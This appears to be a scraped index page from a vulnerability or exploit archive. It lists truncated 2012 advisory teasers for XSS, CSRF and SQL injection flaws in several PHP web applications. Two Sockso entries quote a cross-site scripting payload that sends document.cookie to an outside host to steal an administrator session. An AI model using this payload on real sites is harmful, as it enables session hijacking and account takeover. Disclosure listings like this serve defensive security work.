VMware Vendor Service - Multiple Web Vulnerabilities

Document Title: =============== VMware Vendor Service - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=419 Release Date: ============= 2012-05-16 Vulnerability Laboratory ID VL-ID: ==================================== 419...

LAN Messenger v1.2.28 - Persistent Software Vulnerability

Document Title: =============== LAN Messenger v1.2.28 - Persistent Software Vulnerability References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id= Release Date: ============= 2012-05-16 Vulnerability Laboratory ID VL-ID: ==================================== 541...

Axous 1.1.1 Cross Site Request Forgery / Cross Site Scripting

+---------------------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Date : 30-04-2012 Author : Ivano Binetti http://www.ivanobinetti.com...

Axous 1.1.1 Multiple Vulnerabilities (CSRF - Persistent XSS)

Exploit for php platform in category web applications +---------------------------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Axous 1.1.1 Multiple Vulnerabilities CSRF - Persistent XSS Date : 30-04-2012...

persistent xss through svg file attachment download

The fix for CONF-22132 was not sufficient because "svg" files are not "said" to be xml by the isXml method. This means that is possible for a malicious party to upload a svg file containing html/javascript which will be rendered in victim's web browser. This bug should have been raised a while ag...

NetBill Billing System 1.2 CSRF / XSS

Title: ====== NetBill Billing System v1.2 - Multiple Web Vulnerabilites Date: ===== 2012-05-11 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=560 VL-ID: ===== 560 Common Vulnerability Scoring System: ==================================== 3.5 Introduction: =============...

Sockso <=1.51 Persistent XSS Vulnerability

Exploit for php platform in category web applications Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image...

Proman Xpress 5.0.1 - Multiple Vulnerabilities

Proman Xpress 5.0.1 - Multiple Vulnerabilities Title: ====== Proman Xpress v5.0.1 - Multiple Web Vulnerabilities Date: ===== 2012-05-09 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=513 VL-ID: ===== 512 Common Vulnerability Scoring System:...

Viscacha Forum CMS 0.8.1.1 - Multiple Vulnerabilities

Viscacha Forum CMS 0.8.1.1 - Multiple Vulnerabilities Title: ====== Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities Date: ===== 2012-05-08 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=525 VL-ID: ===== 525 Common Vulnerability Scoring System:...

Free Realty 3.1-0.6 - Multiple Vulnerabilities

Free Realty 3.1-0.6 - Multiple Vulnerabilities Title: ====== Free Reality v3.1-0.6 - Multiple Web Vulnerabilities Date: ===== 2012-05-07 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=513 VL-ID: ===== 513 Common Vulnerability Scoring System:...

Free Realty 3.1-0.6 - Multiple Vulnerabilities

Title: ====== Free Reality v3.1-0.6 - Multiple Web Vulnerabilities Date: ===== 2012-05-07 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=513 VL-ID: ===== 513 Common Vulnerability Scoring System: ==================================== 7.5 Introduction: ============= Free...

Free Reality 3.1-0.6 XSS / CSRF / SQL Injection

Title: ====== Free Reality v3.1-0.6 - Multiple Web Vulnerabilities Date: ===== 2012-05-07 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=513 VL-ID: ===== 513 Common Vulnerability Scoring System: ==================================== 7.5 Introduction: ============= Free...

GetSimple CMS 3.1 Cross Site Scripting

Title: ====== GetSimple CMS v3.1 - Multiple Web Vulnerabilities Date: ===== 2012-05-04 References: =========== http://www.vulnerability-lab.com/getcontent.php?id=521 VL-ID: ===== 521 Common Vulnerability Scoring System: ==================================== 5 Introduction: ============= GetSimple ...

QuickBlog v0.8 CMS - Multiple Web Vulnerabilities

Exploit for php platform in category web applications Title: ====== QuickBlog v0.8 CMS - Multiple Web Vulnerabilities Introduction: ============= QuickBlog est un gestionnaire de weblog ecrit en PHP4 compatible PHP5 et MySQL compatible MySQLi multi utilisateur multi langue multi theme Il est tres...

Sockso 1.51 - Persistent Cross-Site Scripting

Sockso 1.51 - Persistent Cross-Site Scripting Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

Sockso 1.51 - Persistent Cross-Site Scripting

Application: Sockso http://sockso.pu-gh.com Versions: alert'xss'; Or the admin cookie session can also be retrieved by using... new Image.src="bleh.com/xss.php?c="+encodeURIdocument.cookie...

QuickBlog v0.8 CMS - Multiple Web Vulnerabilities

Document Title: =============== QuickBlog v0.8 CMS - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=567 Release Date: ============= 2012-05-11 Vulnerability Laboratory ID VL-ID: ==================================== 567 Commo...

NetBill Billing System v1.2 - Multiple Web Vulnerabilities

Document Title: =============== NetBill Billing System v1.2 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=560 Release Date: ============= 2012-05-10 Vulnerability Laboratory ID VL-ID: ====================================...

NetBill Billing System v1.2 - Multiple Web Vulnerabilities

Document Title: =============== NetBill Billing System v1.2 - Multiple Web Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=560 Release Date: ============= 2012-05-10 Vulnerability Laboratory ID VL-ID: ====================================...

Proman Xpress v5.0.1 - Multiple Web Vulnerabilities

Exploit for php platform in category web applications Title: ====== Proman Xpress v5.0.1 - Multiple Web Vulnerabilities Introduction: ============= Proman Xpress v5.0.1 is a super project management script coded in PHP & MySQL. It s highly customizable and is used across industries. No Encryption...